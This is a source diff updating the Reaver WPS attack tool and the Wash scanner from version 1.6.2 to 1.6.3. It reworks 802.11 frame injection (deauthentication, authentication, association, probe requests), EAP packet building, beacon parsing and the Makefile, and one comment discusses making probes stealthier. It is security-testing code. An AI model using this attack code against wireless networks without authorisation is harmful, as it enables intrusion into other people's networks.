New upstream version 1.6.3
Sophie Brun
6 years ago
67 | 67 | |
68 | 68 | # Reaver Usage |
69 | 69 | |
70 | ```Reaver v1.6.2 WiFi Protected Setup Attack Tool | |
70 | ```Reaver v1.6.3 WiFi Protected Setup Attack Tool | |
71 | 71 | Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]> |
72 | 72 | |
73 | 73 | Required Arguments: |
123 | 123 | # Wash Usage |
124 | 124 | |
125 | 125 | ``` |
126 | Wash v1.6.2 WiFi Protected Setup Scan Tool | |
126 | Wash v1.6.3 WiFi Protected Setup Scan Tool | |
127 | 127 | Copyright (c) 2011, Tactical Network Solutions, Craig Heffner |
128 | 128 | |
129 | 129 | Required Arguments: |
31 | 31 | */ |
32 | 32 | |
33 | 33 | #include "80211.h" |
34 | #include "send.h" | |
34 | 35 | |
35 | 36 | /*Reads the next packet from pcap_next() and validates the FCS. */ |
36 | const u_char *next_packet(struct pcap_pkthdr *header) | |
37 | { | |
38 | const u_char *packet = NULL; | |
37 | u_char *next_packet(struct pcap_pkthdr *header) | |
38 | { | |
39 | u_char *packet = NULL; | |
39 | 40 | |
40 | 41 | /* Loop until we get a valid packet, or until we run out of packets */ |
41 | while((packet = pcap_next(get_handle(), header)) != NULL) | |
42 | while((packet = (void*)pcap_next(get_handle(), header)) != NULL) | |
42 | 43 | { |
43 | 44 | if(get_validate_fcs()) |
44 | 45 | { |
266 | 267 | while((associate_recv_loop() != ASSOCIATE_OK) && (tries < MAX_AUTH_TRIES)); |
267 | 268 | } |
268 | 269 | |
269 | if(tries < MAX_AUTH_TRIES) | |
270 | if(tries <= MAX_AUTH_TRIES) | |
270 | 271 | { |
271 | 272 | retval = 1; |
272 | 273 | } |
304 | 305 | memcpy((void *) ((char *) packet+radio_tap_len), dot11_frame, dot11_frame_len); |
305 | 306 | memcpy((void *) ((char *) packet+radio_tap_len+dot11_frame_len), DEAUTH_REASON_CODE, DEAUTH_REASON_CODE_SIZE); |
306 | 307 | |
307 | pcap_inject(get_handle(), packet, packet_len); | |
308 | send_packet(packet, packet_len, 0); | |
308 | 309 | |
309 | 310 | free((void *) packet); |
310 | 311 | } |
338 | 339 | memcpy((void *) ((char *) packet+radio_tap_len), dot11_frame, dot11_frame_len); |
339 | 340 | memcpy((void *) ((char *) packet+radio_tap_len+dot11_frame_len), management_frame, management_frame_len); |
340 | 341 | |
341 | pcap_inject(get_handle(), packet, packet_len); | |
342 | send_packet(packet, packet_len, 0); | |
342 | 343 | |
343 | 344 | free((void *) packet); |
344 | 345 | } |
384 | 385 | offset += rates_tag_len; |
385 | 386 | memcpy((void *) ((char *) packet+offset), wps_tag, wps_tag_len); |
386 | 387 | |
387 | pcap_inject(get_handle(), packet, packet_len); | |
388 | send_packet(packet, packet_len, 0); | |
388 | 389 | |
389 | 390 | free((void *) packet); |
390 | 391 | } |
404 | 405 | int associate_recv_loop() |
405 | 406 | { |
406 | 407 | struct pcap_pkthdr header; |
407 | const u_char *packet = NULL; | |
408 | struct radio_tap_header *rt_header = NULL; | |
409 | struct dot11_frame_header *dot11_frame = NULL; | |
410 | struct authentication_management_frame *auth_frame = NULL; | |
411 | struct association_response_management_frame *assoc_frame = NULL; | |
412 | int ret_val = 0, start_time = 0; | |
413 | ||
414 | start_time = time(NULL); | |
415 | ||
416 | while((time(NULL) - start_time) < ASSOCIATE_WAIT_TIME) | |
417 | { | |
418 | packet = next_packet(&header); | |
419 | if(packet == NULL) | |
420 | { | |
421 | break; | |
422 | } | |
423 | ||
424 | if(header.len >= MIN_AUTH_SIZE) | |
425 | { | |
426 | rt_header = (struct radio_tap_header *) radio_header(packet, header.len); | |
427 | size_t rt_header_len = __le16_to_cpu(rt_header->len); | |
428 | dot11_frame = (struct dot11_frame_header *) (packet + rt_header_len); | |
429 | ||
430 | if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) == 0) && | |
431 | (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) == 0)) | |
432 | { | |
433 | if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE)) == | |
434 | __cpu_to_le16(IEEE80211_FTYPE_MGMT)) | |
435 | { | |
436 | auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len); | |
437 | assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len); | |
438 | ||
439 | /* Did we get an authentication packet with a successful status? */ | |
440 | if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) == | |
441 | __cpu_to_le16(IEEE80211_STYPE_AUTH) | |
442 | && (auth_frame->status == __cpu_to_le16(AUTHENTICATION_SUCCESS))) | |
443 | { | |
444 | ret_val = AUTH_OK; | |
445 | break; | |
446 | } | |
447 | /* Did we get an association packet with a successful status? */ | |
448 | else if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) == | |
449 | __cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP) | |
450 | && (assoc_frame->status == __cpu_to_le16(ASSOCIATION_SUCCESS))) | |
451 | { | |
452 | ret_val = ASSOCIATE_OK; | |
453 | break; | |
454 | } | |
455 | } | |
456 | } | |
457 | } | |
408 | u_char *packet; | |
409 | struct radio_tap_header *rt_header; | |
410 | struct dot11_frame_header *dot11_frame; | |
411 | struct authentication_management_frame *auth_frame; | |
412 | struct association_response_management_frame *assoc_frame; | |
413 | int ret_val = 0, start_time = 0; | |
414 | ||
415 | start_time = time(NULL); | |
416 | ||
417 | while((time(NULL) - start_time) < ASSOCIATE_WAIT_TIME) | |
418 | { | |
419 | if((packet = next_packet(&header)) == NULL) break; | |
420 | ||
421 | if(header.len < MIN_AUTH_SIZE) continue; | |
422 | ||
423 | rt_header = (void*) radio_header(packet, header.len); | |
424 | size_t rt_header_len = __le16_to_cpu(rt_header->len); | |
425 | dot11_frame = (void*)(packet + rt_header_len); | |
426 | ||
427 | if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) != 0) || | |
428 | (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) != 0)) | |
429 | continue; | |
430 | ||
431 | int isMgmtFrame = (dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE)) == __cpu_to_le16(IEEE80211_FTYPE_MGMT); | |
432 | if(!isMgmtFrame) continue; | |
433 | ||
434 | void *ptr = (packet + sizeof(struct dot11_frame_header) + rt_header_len); | |
435 | auth_frame = ptr; | |
436 | assoc_frame = ptr; | |
437 | ||
438 | int isAuthResp = (dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) == __cpu_to_le16(IEEE80211_STYPE_AUTH); | |
439 | int isAssocResp = (dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) == __cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); | |
440 | ||
441 | if(!isAuthResp && !isAssocResp) continue; | |
442 | ||
443 | /* Did we get an authentication packet with a successful status? */ | |
444 | if(isAuthResp && (auth_frame->status == __cpu_to_le16(AUTHENTICATION_SUCCESS))) { | |
445 | ret_val = AUTH_OK; | |
446 | break; | |
447 | } | |
448 | /* Did we get an association packet with a successful status? */ | |
449 | else if(isAssocResp && (assoc_frame->status == __cpu_to_le16(ASSOCIATION_SUCCESS))) { | |
450 | ret_val = ASSOCIATE_OK; | |
451 | break; | |
452 | } | |
458 | 453 | } |
459 | 454 | |
460 | 455 | return ret_val; |
518 | 513 | return enc; |
519 | 514 | } |
520 | 515 | |
516 | static int get_next_ie(const u_char *data, size_t len, size_t *currpos) { | |
517 | if(*currpos + 2 >= len) return 0; | |
518 | *currpos = *currpos + 2 + data[*currpos + 1]; | |
519 | return 1; | |
520 | } | |
521 | ||
521 | 522 | /* Given the tagged parameter sets from a beacon packet, locate the AP's SSID and return its current channel number */ |
522 | 523 | int parse_beacon_tags(const u_char *packet, size_t len) |
523 | 524 | { |
525 | set_vendor(0, "\0\0\0"); | |
524 | 526 | char *ssid = NULL; |
525 | 527 | const u_char *tag_data = NULL; |
526 | 528 | unsigned char *ie = NULL, *channel_data = NULL; |
533 | 535 | |
534 | 536 | if(tag_offset < len) |
535 | 537 | { |
536 | tag_len = (len - tag_offset); | |
538 | tag_len = (len - tag_offset); /* this actually denotes length of the entire tag data area */ | |
537 | 539 | tag_data = (const u_char *) (packet + tag_offset); |
538 | 540 | |
539 | 541 | /* If no SSID was manually specified, parse and save the AP SSID */ |
563 | 565 | free(ie); |
564 | 566 | } |
565 | 567 | |
568 | ie = parse_ie_data(tag_data, tag_len, (uint8_t) ERATES_TAG_NUMBER, &ie_len, &ie_offset); | |
569 | if(ie) | |
570 | { | |
571 | set_ap_ext_rates(ie, ie_len); | |
572 | free(ie); | |
573 | } | |
574 | ||
566 | 575 | channel_data = parse_ie_data(tag_data, tag_len, (uint8_t) CHANNEL_TAG_NUMBER, &ie_len, &ie_offset); |
567 | 576 | if(channel_data) |
568 | 577 | { |
572 | 581 | } |
573 | 582 | free(channel_data); |
574 | 583 | } |
584 | ||
585 | size_t ie_iterator = 0; | |
586 | do { | |
587 | const u_char *tag = tag_data + ie_iterator; | |
588 | // check for the length of the tag, and that its not microsoft | |
589 | if(tag[0] == VENDOR_SPECIFIC_TAG && | |
590 | tag[1] < 11 && | |
591 | ie_iterator+2+3 < tag_len && | |
592 | memcmp(tag+2, "\x00\x50\xf2", 3)) { | |
593 | set_vendor(1, tag + 2); | |
594 | break; | |
595 | } | |
596 | ||
597 | } while(get_next_ie(tag_data, tag_len, &ie_iterator)); | |
575 | 598 | } |
576 | 599 | |
577 | 600 | return channel; |
681 | 704 | * Returns a pointer to the radio tap header. If there is no radio tap header, |
682 | 705 | * it returns a pointer to a dummy radio tap header. |
683 | 706 | */ |
684 | const u_char *radio_header(const u_char *packet, size_t len) | |
707 | u_char *radio_header(const u_char *packet, size_t len) | |
685 | 708 | { |
686 | 709 | if(has_rt_header()) |
687 | 710 | { |
688 | return packet; | |
711 | return (void*)packet; | |
689 | 712 | } |
690 | 713 | else |
691 | 714 | { |
692 | return (u_char *) FAKE_RADIO_TAP_HEADER; | |
715 | return FAKE_RADIO_TAP_HEADER; | |
693 | 716 | } |
694 | 717 | |
695 | 718 | } |
79 | 79 | #define SUBTYPE_AUTHENTICATION 0x0B |
80 | 80 | #define SUBTYPE_ASSOCIATION 0x01 |
81 | 81 | |
82 | const u_char *next_packet(struct pcap_pkthdr *header); | |
82 | u_char *next_packet(struct pcap_pkthdr *header); | |
83 | 83 | void read_ap_beacon(); |
84 | 84 | int8_t signal_strength(const u_char *packet, size_t len); |
85 | 85 | int is_wps_locked(); |
94 | 94 | int is_target(struct dot11_frame_header *frame_header); |
95 | 95 | int check_fcs(const u_char *packet, size_t len); |
96 | 96 | int has_rt_header(void); |
97 | const u_char *radio_header(const u_char *packet, size_t len); | |
97 | u_char *radio_header(const u_char *packet, size_t len); | |
98 | 98 | |
99 | 99 | #endif |
22 | 22 | utils/wpa_debug.o \ |
23 | 23 | utils/wpabuf.o \ |
24 | 24 | utils/os_unix.o \ |
25 | utils/vendor.o \ | |
25 | 26 | utils/eloop.o |
26 | 27 | |
27 | 28 | |
31 | 32 | |
32 | 33 | LWE_OBJS=lwe/iwlib.o |
33 | 34 | |
35 | TLS_OBJS= \ | |
36 | tls/asn1.o \ | |
37 | tls/bignum.o \ | |
38 | tls/pkcs1.o \ | |
39 | tls/pkcs5.o \ | |
40 | tls/pkcs8.o \ | |
41 | tls/rsa.o \ | |
42 | tls/tlsv1_client.o \ | |
43 | tls/tlsv1_client_read.o \ | |
44 | tls/tlsv1_client_write.o \ | |
45 | tls/tlsv1_common.o \ | |
46 | tls/tlsv1_cred.o \ | |
47 | tls/tlsv1_record.o \ | |
48 | tls/tlsv1_server.o \ | |
49 | tls/tlsv1_server_read.o \ | |
50 | tls/tlsv1_server_write.o \ | |
51 | tls/x509v3.o | |
52 | ||
53 | CRYPTO_OBJS= \ | |
54 | crypto/aes-cbc.o \ | |
55 | crypto/aes-ctr.o \ | |
56 | crypto/aes-eax.o \ | |
57 | crypto/aes-encblock.o \ | |
58 | crypto/aes-internal.o \ | |
59 | crypto/aes-internal-dec.o \ | |
60 | crypto/aes-internal-enc.o \ | |
61 | crypto/aes-omac1.o \ | |
62 | crypto/aes-unwrap.o \ | |
63 | crypto/aes-wrap.o \ | |
64 | crypto/des-internal.o \ | |
65 | crypto/dh_group5.o \ | |
66 | crypto/dh_groups.o \ | |
67 | crypto/md4-internal.o \ | |
68 | crypto/md5.o \ | |
69 | crypto/md5-internal.o \ | |
70 | crypto/milenage.o \ | |
71 | crypto/ms_funcs.o \ | |
72 | crypto/rc4.o \ | |
73 | crypto/sha1.o \ | |
74 | crypto/sha1-internal.o \ | |
75 | crypto/sha1-pbkdf2.o \ | |
76 | crypto/sha1-tlsprf.o \ | |
77 | crypto/sha1-tprf.o \ | |
78 | crypto/sha256.o \ | |
79 | crypto/sha256-internal.o \ | |
80 | crypto/crypto_internal.o \ | |
81 | crypto/crypto_internal-cipher.o \ | |
82 | crypto/crypto_internal-modexp.o \ | |
83 | crypto/crypto_internal-rsa.o \ | |
84 | crypto/tls_internal.o \ | |
85 | crypto/fips_prf_internal.o | |
86 | ||
87 | ||
34 | 88 | LIB_OBJS=libwps/libwps.o $(WPS_OBJS) $(UTILS_OBJS) \ |
35 | crypto/libcrypto.a tls/libtls.a $(LWE_OBJS) | |
89 | $(TLS_OBJS) $(CRYPTO_OBJS) $(LWE_OBJS) | |
90 | ||
36 | 91 | |
37 | 92 | WASH_OBJS=globule.o init.o misc.o 80211.o iface.o \ |
38 | builder.o crc.o pixie.o wpsmon.o | |
93 | builder.o crc.o pixie.o send.o sigalrm.o wpsmon.o | |
39 | 94 | REAVER_OBJS=argsparser.o globule.o init.o sigint.o iface.o sigalrm.o \ |
40 | 95 | misc.o cracker.o session.o send.o pins.o 80211.o exchange.o builder.o \ |
41 | 96 | keys.o crc.o pixie.o wpscrack.o |
51 | 106 | all: wash reaver |
52 | 107 | |
53 | 108 | $(WPS_OBJS): CFLAGS+=-I. -Iutils |
109 | $(TLS_OBJS): CFLAGS += -I. -Iutils -DCONFIG_INTERNAL_LIBTOMMATH -DCONFIG_CRYPTO_INTERNAL | |
110 | $(CRYPTO_OBJS): CFLAGS += -I. -Iutils -DCONFIG_TLS_INTERNAL_CLIENT \ | |
111 | -DCONFIG_TLS_INTERNAL_SERVER -fno-strict-aliasing | |
112 | ||
54 | 113 | |
55 | 114 | wash: $(WASH_OBJS) $(LIB_OBJS) |
56 | 115 | $(CC) $(CFLAGS) $(INC) $(WASH_OBJS) $(LIB_OBJS) $(LDFLAGS) -o wash |
57 | 116 | |
58 | 117 | reaver: $(REAVER_OBJS) $(LIB_OBJS) |
59 | 118 | $(CC) $(CFLAGS) $(INC) $(REAVER_OBJS) $(LIB_OBJS) $(LDFLAGS) -o reaver |
60 | ||
61 | crypto/libcrypto.a: tls/libtls.a | |
62 | (cd crypto && make) | |
63 | ||
64 | tls/libtls.a: | |
65 | (cd tls && make) | |
66 | 119 | |
67 | 120 | lwe/wireless.h: $(WEXT_HEADER) |
68 | 121 | cp $(WEXT_HEADER) lwe/wireless.h |
80 | 133 | rm -f *~ *.o reaver wash |
81 | 134 | rm -rf *.cache config.status config.log |
82 | 135 | rm -f $(LIB_OBJS) |
83 | (cd utils && make clean) | |
84 | (cd tls && make clean) | |
85 | (cd crypto && make clean) | |
86 | 136 | rm -f lwe/wireless.h |
87 | 137 | |
88 | 138 | cleanbin: |
32 | 32 | |
33 | 33 | #include "builder.h" |
34 | 34 | |
35 | const void *build_radio_tap_header(size_t *len) | |
35 | void *build_radio_tap_header(size_t *len) | |
36 | 36 | { |
37 | 37 | struct radio_tap_header *rt_header = NULL; |
38 | const void *buf = NULL; | |
38 | void *buf = NULL; | |
39 | 39 | |
40 | 40 | buf = malloc(sizeof(struct radio_tap_header)); |
41 | 41 | if(buf) |
50 | 50 | return buf; |
51 | 51 | } |
52 | 52 | |
53 | const void *build_dot11_frame_header(uint16_t fc, size_t *len) | |
53 | void *build_dot11_frame_header(uint16_t fc, size_t *len) | |
54 | 54 | { |
55 | 55 | struct dot11_frame_header *header = NULL; |
56 | const void *buf = NULL; | |
56 | void *buf = NULL; | |
57 | 57 | static uint16_t frag_seq; |
58 | 58 | |
59 | 59 | buf = malloc(sizeof(struct dot11_frame_header)); |
77 | 77 | return buf; |
78 | 78 | } |
79 | 79 | |
80 | const void *build_authentication_management_frame(size_t *len) | |
80 | void *build_authentication_management_frame(size_t *len) | |
81 | 81 | { |
82 | 82 | struct authentication_management_frame *frame = NULL; |
83 | const void *buf = NULL; | |
83 | void *buf = NULL; | |
84 | 84 | |
85 | 85 | buf = malloc(sizeof(struct authentication_management_frame)); |
86 | 86 | if(buf) |
97 | 97 | return buf; |
98 | 98 | } |
99 | 99 | |
100 | const void *build_association_management_frame(size_t *len) | |
100 | void *build_association_management_frame(size_t *len) | |
101 | 101 | { |
102 | 102 | struct association_request_management_frame *frame = NULL; |
103 | const void *buf = NULL; | |
103 | void *buf = NULL; | |
104 | 104 | |
105 | 105 | buf = malloc(sizeof(struct association_request_management_frame)); |
106 | 106 | if(buf) |
116 | 116 | return buf; |
117 | 117 | } |
118 | 118 | |
119 | const void *build_llc_header(size_t *len) | |
119 | void *build_llc_header(size_t *len) | |
120 | 120 | { |
121 | 121 | struct llc_header *header = NULL; |
122 | const void *buf = NULL; | |
122 | void *buf = NULL; | |
123 | 123 | |
124 | 124 | buf = malloc(sizeof(struct llc_header)); |
125 | 125 | if(buf) |
138 | 138 | return buf; |
139 | 139 | } |
140 | 140 | |
141 | const void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len) | |
142 | { | |
141 | void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len) | |
142 | { | |
143 | // TODO: one might actually first (or only) try to send broadcast probes. | |
144 | // the only 2 differences are that in build_dot11_frame_header instead of the | |
145 | // target bssid the special mac address ff:ff:ff:ff:ff:ff is used, | |
146 | // and the SSID tag is always "\x00\x00" | |
147 | // sending only broadcast probes would at least make the operation much more | |
148 | // stealthy! the directed probes basically only make sense when sent to *hidden* | |
149 | // ESSIDs, after finding out their real ESSID by watching other client's probes. | |
150 | ||
143 | 151 | struct tagged_parameter ssid_tag = { 0 }; |
144 | const void *rt_header = NULL, *dot11_header = NULL, *packet = NULL; | |
152 | void *rt_header = NULL, *dot11_header = NULL, *packet = NULL; | |
145 | 153 | size_t offset = 0, rt_len = 0, dot11_len = 0, ssid_tag_len = 0, packet_len = 0; |
146 | 154 | |
147 | 155 | if(essid != NULL) |
161 | 169 | |
162 | 170 | if(rt_header && dot11_header) |
163 | 171 | { |
164 | packet_len = rt_len + dot11_len + ssid_tag_len + WPS_PROBE_IE_SIZE; | |
172 | packet_len = rt_len + dot11_len + ssid_tag_len; | |
173 | ||
174 | #define TAG_SUPPORTED_RATES "\x01\x08\x02\x04\x0b\x16\x0c\x12\x18\x24" | |
175 | #define TAG_EXT_RATES "\x32\x04\x30\x48\x60\x6c" | |
176 | // it seems some OS don't send this tag, so leave it away | |
177 | //#define TAG_DS_PARAM "\x03\x01\x07" | |
178 | #define TAG_HT_CAPS "\x2d\x1a\x72\x01\x13\xff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
179 | ||
180 | // maybe we should leave this away too, it is usually not sent, but the | |
181 | // AP responds with WPS info anyway | |
182 | #define WPS_PROBE_IE "\xdd\x09\x00\x50\xf2\x04\x10\x4a\x00\x01\x10" | |
183 | ||
184 | #define ALL_TAGS TAG_SUPPORTED_RATES TAG_EXT_RATES TAG_HT_CAPS WPS_PROBE_IE | |
185 | ||
186 | packet_len += sizeof(ALL_TAGS) -1; | |
187 | ||
165 | 188 | packet = malloc(packet_len); |
166 | 189 | |
167 | 190 | if(packet) |
175 | 198 | offset += sizeof(ssid_tag); |
176 | 199 | memcpy((void *) ((char *) packet+offset), essid, ssid_tag.len); |
177 | 200 | offset += ssid_tag.len; |
178 | memcpy((void *) ((char *) packet+offset), WPS_PROBE_IE, WPS_PROBE_IE_SIZE); | |
179 | offset += WPS_PROBE_IE_SIZE; | |
201 | ||
202 | memcpy(packet+offset, ALL_TAGS, sizeof(ALL_TAGS) -1); | |
203 | offset += sizeof(ALL_TAGS) -1; | |
180 | 204 | |
181 | 205 | *len = packet_len; |
182 | 206 | } |
189 | 213 | } |
190 | 214 | |
191 | 215 | /* Wrapper function for Radio Tap / Dot11 / LLC */ |
192 | const void *build_snap_packet(size_t *len) | |
193 | { | |
194 | const void *rt_header = NULL, *dot11_header = NULL, *llc_header = NULL, *packet = NULL; | |
216 | void *build_snap_packet(size_t *len) | |
217 | { | |
218 | void *rt_header = NULL, *dot11_header = NULL, *llc_header = NULL, *packet = NULL; | |
195 | 219 | size_t rt_len = 0, dot11_len = 0, llc_len = 0, packet_len = 0; |
196 | 220 | |
197 | 221 | rt_header = build_radio_tap_header(&rt_len); |
221 | 245 | return packet; |
222 | 246 | } |
223 | 247 | |
224 | const void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len) | |
248 | void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len) | |
225 | 249 | { |
226 | 250 | struct dot1X_header *header = NULL; |
227 | const void *buf = NULL; | |
251 | void *buf = NULL; | |
228 | 252 | |
229 | 253 | buf = malloc(sizeof(struct dot1X_header)); |
230 | 254 | if(buf) |
241 | 265 | return buf; |
242 | 266 | } |
243 | 267 | |
244 | const void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len) | |
268 | void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len) | |
245 | 269 | { |
246 | 270 | struct eap_header *header = NULL; |
247 | const void *buf = NULL; | |
271 | void *buf = NULL; | |
248 | 272 | |
249 | 273 | buf = malloc(sizeof(struct eap_header)); |
250 | 274 | if(buf) |
264 | 288 | return buf; |
265 | 289 | } |
266 | 290 | |
267 | const void *build_wfa_header(uint8_t op_code, size_t *len) | |
268 | { | |
269 | const void *buf = NULL; | |
291 | void *build_wfa_header(uint8_t op_code, size_t *len) | |
292 | { | |
293 | void *buf = NULL; | |
270 | 294 | struct wfa_expanded_header *header = NULL; |
271 | 295 | |
272 | 296 | buf = malloc(sizeof(struct wfa_expanded_header)); |
285 | 309 | } |
286 | 310 | |
287 | 311 | /* Wrapper for SNAP / Dot1X Start */ |
288 | const void *build_eapol_start_packet(size_t *len) | |
289 | { | |
290 | const void *snap_packet = NULL, *dot1x_header = NULL, *packet = NULL; | |
312 | void *build_eapol_start_packet(size_t *len) | |
313 | { | |
314 | void *snap_packet = NULL, *dot1x_header = NULL, *packet = NULL; | |
291 | 315 | size_t snap_len = 0, dot1x_len = 0, packet_len = 0; |
292 | 316 | |
293 | 317 | /* Build a SNAP packet and a 802.1X START header */ |
317 | 341 | } |
318 | 342 | |
319 | 343 | /* Wrapper for SNAP / Dot1X / EAP / WFA / Payload */ |
320 | const void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len) | |
321 | { | |
322 | const void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL, *wfa_header = NULL; | |
344 | void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len) | |
345 | { | |
346 | void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL, *wfa_header = NULL; | |
323 | 347 | size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, wfa_len = 0, offset = 0, total_payload_len = 0; |
324 | 348 | uint8_t eap_type = 0, eap_code = 0; |
325 | 349 | struct wps_data *wps = get_wps(); |
392 | 416 | return buf; |
393 | 417 | } |
394 | 418 | |
395 | const void *build_eap_failure_packet(size_t *len) | |
396 | { | |
397 | const void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL; | |
419 | void *build_eap_failure_packet(size_t *len) | |
420 | { | |
421 | void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL; | |
398 | 422 | size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, offset = 0; |
399 | 423 | |
400 | 424 | /* Build SNAP, EAP and 802.1x headers */ |
428 | 452 | return buf; |
429 | 453 | } |
430 | 454 | |
431 | const void *build_tagged_parameter(uint8_t number, uint8_t size, size_t *len) | |
432 | { | |
433 | struct tagged_parameter *param = NULL; | |
434 | const void *buf = NULL; | |
435 | size_t buf_len = 0; | |
436 | ||
437 | buf_len = sizeof(struct tagged_parameter); | |
438 | buf = malloc(buf_len); | |
439 | if(buf) | |
455 | void *build_tagged_parameter(uint8_t number, uint8_t size, size_t *len) | |
456 | { | |
457 | struct tagged_parameter *param = malloc(sizeof(struct tagged_parameter)); | |
458 | if(param) | |
440 | 459 | { |
441 | *len = buf_len; | |
442 | memset((void *) buf, 0, buf_len); | |
443 | param = (struct tagged_parameter *) buf; | |
444 | ||
460 | *len = sizeof(struct tagged_parameter); | |
445 | 461 | param->number = number; |
446 | 462 | param->len = size; |
447 | 463 | } |
448 | ||
449 | return buf; | |
450 | } | |
451 | ||
452 | const void *build_ssid_tagged_parameter(size_t *len) | |
453 | { | |
454 | const void *buf = NULL, *ssid_param = NULL; | |
464 | return param; | |
465 | } | |
466 | ||
467 | void *build_ssid_tagged_parameter(size_t *len) | |
468 | { | |
469 | void *buf = NULL, *ssid_param = NULL; | |
455 | 470 | size_t ssid_len = 0, ssid_param_len = 0, buf_len = 0; |
456 | 471 | |
457 | 472 | if(get_ssid()) |
480 | 495 | return buf; |
481 | 496 | } |
482 | 497 | |
483 | const void *build_wps_tagged_parameter(size_t *len) | |
484 | { | |
485 | const void *buf = NULL, *wps_param = NULL; | |
498 | void *build_wps_tagged_parameter(size_t *len) | |
499 | { | |
500 | void *buf = NULL, *wps_param = NULL; | |
486 | 501 | size_t buf_len = 0, wps_param_len = 0; |
487 | 502 | |
488 | 503 | wps_param = build_tagged_parameter(WPS_TAG_NUMBER, WPS_TAG_SIZE, &wps_param_len); |
506 | 521 | return buf; |
507 | 522 | } |
508 | 523 | |
509 | const void *build_supported_rates_tagged_parameter(size_t *len) | |
510 | { | |
511 | const void *buf = NULL, *supported_rates = NULL, *extended_rates = NULL; | |
512 | unsigned char *srates = NULL; | |
513 | int srates_tag_size = 0; | |
524 | void *build_supported_rates_tagged_parameter(size_t *len) | |
525 | { | |
526 | char *buf = NULL, *supported_rates = NULL, *extended_rates = NULL; | |
527 | unsigned char *srates = NULL, *erates = NULL; | |
528 | int srates_tag_size = 0, erates_tag_size = 0; | |
514 | 529 | size_t buf_len = 0, srates_len = 0, erates_len = 0, offset = 0; |
515 | 530 | |
516 | 531 | srates = get_ap_rates(&srates_tag_size); |
532 | erates = get_ap_ext_rates(&erates_tag_size); | |
517 | 533 | supported_rates = build_tagged_parameter(SRATES_TAG_NUMBER, srates_tag_size, &srates_len); |
518 | extended_rates = build_tagged_parameter(ERATES_TAG_NUMBER, ERATES_TAG_SIZE, &erates_len); | |
534 | extended_rates = build_tagged_parameter(ERATES_TAG_NUMBER, erates_tag_size, &erates_len); | |
519 | 535 | |
520 | 536 | if(supported_rates && extended_rates) |
521 | 537 | { |
522 | buf_len = srates_len + erates_len + srates_tag_size + ERATES_TAG_SIZE; | |
538 | buf_len = srates_len + erates_len + srates_tag_size + erates_tag_size; | |
523 | 539 | buf = malloc(buf_len); |
524 | 540 | if(buf) |
525 | 541 | { |
526 | 542 | *len = buf_len; |
527 | memset((void *) buf, 0, buf_len); | |
528 | ||
529 | memcpy((void *) buf, supported_rates, srates_len); | |
543 | ||
544 | memcpy(buf, supported_rates, srates_len); | |
530 | 545 | offset += srates_len; |
531 | memcpy((void *) ((char *) buf+offset), srates, srates_tag_size); | |
546 | memcpy(buf+offset, srates, srates_tag_size); | |
532 | 547 | offset += srates_tag_size; |
533 | memcpy((void *) ((char *) buf+offset), extended_rates, erates_len); | |
548 | memcpy(buf+offset, extended_rates, erates_len); | |
534 | 549 | offset += erates_len; |
535 | memcpy((void *) ((char *) buf+offset), EXTENDED_RATES_TAG, ERATES_TAG_SIZE); | |
550 | memcpy(buf+offset, erates, erates_tag_size); | |
536 | 551 | } |
537 | 552 | } |
538 | 553 | |
539 | if(supported_rates) free((void *) supported_rates); | |
540 | if(extended_rates) free((void *) extended_rates); | |
541 | return buf; | |
542 | } | |
554 | if(supported_rates) free(supported_rates); | |
555 | if(extended_rates) free(extended_rates); | |
556 | return buf; | |
557 | } |
37 | 37 | #include "defs.h" |
38 | 38 | #include "globule.h" |
39 | 39 | |
40 | #define SRATES_TAG_SIZE 8 | |
41 | #define ERATES_TAG_SIZE 4 | |
42 | 40 | #define SRATES_TAG_NUMBER 0x01 |
43 | 41 | #define ERATES_TAG_NUMBER 0x32 |
44 | 42 | #define WPS_TAG_SIZE 14 |
45 | #define WPS_REGISTRAR_TAG "\x00\x50\xF2\x04\x10\x4A\x00\x01\x10\x10\x3A\x00\x01\x02" | |
46 | #define SUPPORTED_RATES_TAG "\x02\x04\x0B\x16\x0C\x12\x18\x24" | |
47 | #define EXTENDED_RATES_TAG "\x30\x48\x60\x6C" | |
48 | 43 | #define WPS_REGISTRAR_TAG "\x00\x50\xF2\x04\x10\x4A\x00\x01\x10\x10\x3A\x00\x01\x02" |
49 | 44 | |
50 | 45 | #define DEFAULT_DURATION 52 |
64 | 59 | #define UNNUMBERED_FRAME 0x03 |
65 | 60 | #define WFA_VENDOR_ID "\x00\x37\x2A" |
66 | 61 | |
